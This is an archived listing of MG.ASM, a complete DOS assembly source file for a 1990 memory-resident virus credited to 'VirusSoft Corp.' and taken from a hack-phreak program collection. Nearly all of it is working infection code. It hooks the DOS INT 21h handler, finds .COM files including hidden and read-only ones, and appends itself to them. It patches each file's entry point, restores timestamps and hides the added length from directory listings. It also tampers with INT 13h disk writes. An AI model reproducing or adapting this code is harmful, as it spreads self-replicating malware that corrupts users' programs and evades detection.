home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / MG.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  7KB  |  300 lines

  1. ;        (C) Copyright VirusSoft Corp.  Aug, 1990
  2.  
  3.          ofs = 201h
  4.          len = offset end-ofs
  5.  
  6. start:   call  $+6
  7.  
  8.          org   ofs
  9.  
  10. first:   dw    020cdh
  11.          db    0
  12.  
  13.          xchg  ax,dx
  14.          pop   di
  15.          dec   di
  16.          dec   di
  17.          mov   si,[di]
  18.          dec   di
  19.          add   si,di
  20.          cld
  21.          movsw
  22.          movsb
  23.  
  24.          mov   ax,4b04h
  25.          int   21h
  26.          jnc   residnt
  27.  
  28.          xor   ax,ax
  29.          mov   es,ax
  30.          mov   di,ofs+3
  31.          mov   cx,len-3
  32.          rep   movsb
  33.  
  34.          les   di,[6]
  35.          mov   al,0eah
  36.          dec   cx
  37.          repne scasb
  38.          les   di,es:[di]         ; Searching for the INT21 vector
  39.          sub   di,-1ah-7
  40.  
  41.          db    0eah
  42.          dw    offset jump,0      ; jmp far 0000:jump
  43.  
  44. jump:    push  es
  45.          pop   ds
  46.          mov   si,[di+3-7]        ;
  47.          lodsb                    ;
  48.          cmp   al,68h             ; compare DOS Ver
  49.          mov   [di+4-7],al        ; Change CMP AH,CS:[????]
  50.          mov   [di+2-7],0fc80h    ;
  51.          mov   [di-7],0fccdh      ;
  52.  
  53.          push  cs
  54.          pop   ds
  55.  
  56.          mov   [1020],di          ; int  0ffh
  57.          mov   [1022],es
  58.  
  59.          mov   beg-1,byte ptr not3_3-beg
  60.          jb    not3.3             ; CY = 0  -->  DOS Ver > or = 3.30
  61.          mov   beg-1,byte ptr 0
  62.          mov   [7b4h],offset pr7b4
  63.          mov   [7b6h],cs          ; 7b4
  64.  
  65. not3.3:  mov   al,0a9h            ; Change attrib
  66. cont:    repne scasb
  67.          cmp   es:[di],0ffd8h
  68.          jne   cont
  69.          mov   al,18h             ; mov   es:[di],byte ptr 98h
  70.          stosb                    ;
  71.  
  72.          push  ss
  73.          pop   ds
  74.  
  75.          push  ss
  76.          pop   es
  77.  
  78. residnt: xchg  ax,dx
  79.          push  ds                 ; jmp   start
  80.          mov   dx,0100h           ;
  81.          push  dx                 ;
  82.          retf                     ; ret   far
  83.  
  84. ;--------Interrupt process--------;
  85.  
  86. i21pr:   push  ax
  87.          push  dx
  88.          push  ds
  89.          push  cx
  90.          push  bx
  91.          push  es
  92.  
  93. if4b04:  cmp   ax,4b04h
  94.          je    rti
  95.  
  96.          xchg  ax,cx
  97.          mov   ah,02fh
  98.          int   0ffh
  99.  
  100. if11_12: cmp   ch,11h
  101.          je    yes
  102.          cmp   ch,12h
  103.          jne   inffn
  104. yes:     xchg  ax,cx
  105.          int   0ffh
  106.          push  ax
  107.          test  es:byte ptr [bx+19],0c0h
  108.          jz    normal
  109.          sub   es:[bx+36],len
  110. normal:  pop   ax
  111. rti:     pop   es
  112.          pop   bx
  113.          pop   cx
  114.          add   sp,12
  115.          iret
  116.  
  117. inffn:   mov   ah,19h
  118.          int   0ffh
  119.          push  ax
  120.  
  121. if36:    cmp   ch,36h             ; -free bytes
  122.          je    beg_36
  123. if4b:    cmp   ch,4bh             ; -exec
  124.          je    beg_4b
  125. if47:    cmp   ch,47h             ; -directory info
  126.          jne   if5b
  127.          cmp   al,2
  128.          jae   begin              ; it's hard-disk
  129. if5b:    cmp   ch,5bh             ; -create new
  130.          je    beg_4b
  131. if3c_3d: shr   ch,1               ; > -open & create
  132.          cmp   ch,1eh             ;   -
  133.          je    beg_4b
  134.  
  135.          jmp   rest
  136.  
  137. beg_4b:  mov   ax,121ah
  138.          xchg  dx,si
  139.          int   2fh
  140.          xchg  ax,dx
  141.          xchg  ax,si
  142.  
  143. beg_36:  mov   ah,0eh             ; change current drive
  144.          dec   dx                 ;
  145.          int   0ffh               ;
  146.  
  147. begin:
  148.          push  es                 ; save DTA address
  149.          push  bx                 ;
  150.          sub   sp,44
  151.          mov   dx,sp              ; change DTA
  152.          push  sp
  153.          mov   ah,1ah
  154.          push  ss
  155.          pop   ds
  156.          int   0ffh
  157.          push  ds
  158.          pop   es
  159.          mov   bx,dx
  160.  
  161.          push  cs
  162.          pop   ds
  163.  
  164.          mov   ah,04eh
  165.          mov   dx,offset file
  166.          mov   cx,3               ; r/o , hidden
  167.          int   0ffh               ; int   21h
  168.          jc    lst
  169.  
  170. next:    test  es:[bx+21],byte ptr 80h
  171.          jz    true
  172. nxt:     mov   ah,4fh             ; find next
  173.          int   0ffh
  174.          jnc   next
  175. lst:     jmp   last
  176.  
  177. true:    cmp   es:[bx+27],byte ptr 0fdh
  178.          ja    nxt
  179.          mov   [144],offset i24pr
  180.          mov   [146],cs
  181.  
  182.          push  es
  183.          les   di,[4ch]           ; int 13h
  184.          mov   i13adr,di
  185.          mov   i13adr+2,es
  186.          jmp   short $
  187. beg:     mov   [4ch],offset i13pr
  188.          mov   [4eh],cs
  189.          ;
  190. not3_3:  pop   ds
  191.          push  [bx+22]            ; time +
  192.          push  [bx+24]            ; date +
  193.          push  [bx+21]            ; attrib +
  194.          lea   dx,[bx+30]         ; ds : dx = offset file name
  195.          mov   ax,4301h           ; Change attrib !!!
  196.          pop   cx
  197.          and   cx,0feh            ; clear r/o and CH
  198.          or    cl,0c0h            ; set Infect. attr
  199.          int   0ffh
  200.  
  201.          mov   ax,03d02h          ; open
  202.          int   0ffh               ; int   21h
  203.          xchg  ax,bx
  204.  
  205.          push  cs
  206.          pop   ds
  207.  
  208.          mov   ah,03fh
  209.          mov   cx,3
  210.          mov   dx,offset first
  211.          int   0ffh
  212.  
  213.          mov   ax,04202h          ; move fp to EOF
  214.          xor   dx,dx
  215.          mov   cx,dx
  216.          int   0ffh
  217.          mov   word ptr cal_ofs+1,ax
  218.  
  219.          mov   ah,040h
  220.          mov   cx,len
  221.          mov   dx,ofs
  222.          int   0ffh
  223.          jc    not_inf
  224.  
  225.          mov   ax,04200h
  226.          xor   dx,dx
  227.          mov   cx,dx
  228.          int   0ffh
  229.  
  230.          mov   ah,040h
  231.          mov   cx,3
  232.          mov   dx,offset cal_ofs
  233.          int   0ffh
  234.  
  235. not_inf: mov   ax,05701h
  236.          pop   dx                 ; date
  237.          pop   cx                 ; time
  238.          int   0ffh
  239.  
  240.          mov   ah,03eh            ; close
  241.          int   0ffh
  242.  
  243.          les   ax,dword ptr i13adr
  244.          mov   [4ch],ax           ; int 13h
  245.          mov   [4eh],es
  246.  
  247. last:    add   sp,46
  248.          pop   dx
  249.          pop   ds                 ; restore DTA
  250.          mov   ah,1ah
  251.          int   0ffh
  252.  
  253. rest:    pop   dx                 ; restore current drive
  254.          mov   ah,0eh             ;
  255.          int   0ffh               ;
  256.  
  257.          pop   es
  258.          pop   bx
  259.          pop   cx
  260.          pop   ds
  261.          pop   dx
  262.          pop   ax
  263.  
  264. i21cl:   iret                     ; Return from INT FC
  265.  
  266. i24pr:   mov   al,3               ; Critical errors
  267.          iret
  268.  
  269. i13pr:   cmp   ah,3
  270.          jne   no
  271.          inc   byte ptr cs:activ
  272.          dec   ah
  273. no:      jmp   dword ptr cs:i13adr
  274.  
  275. pr7b4:         db    2eh,0d0h,2eh
  276.                dw    offset activ
  277. ;        shr   cs:activ,1
  278.          jnc   ex7b0
  279.          inc   ah
  280. ex7b0:   jmp   dword ptr cs:[7b0h]
  281.  
  282. ;--------
  283.  
  284. file:    db    "*.COM"
  285.  
  286. activ:   db    0
  287.  
  288.          dw    offset i21pr      ; int 0fch
  289.          dw    0
  290.  
  291. cal_ofs: db    0e8h
  292.  
  293. end:
  294.          dw    ?                  ; cal_ofs
  295.  
  296. i13adr:  dw    ?
  297.          dw    ?
  298.  
  299.  
  300.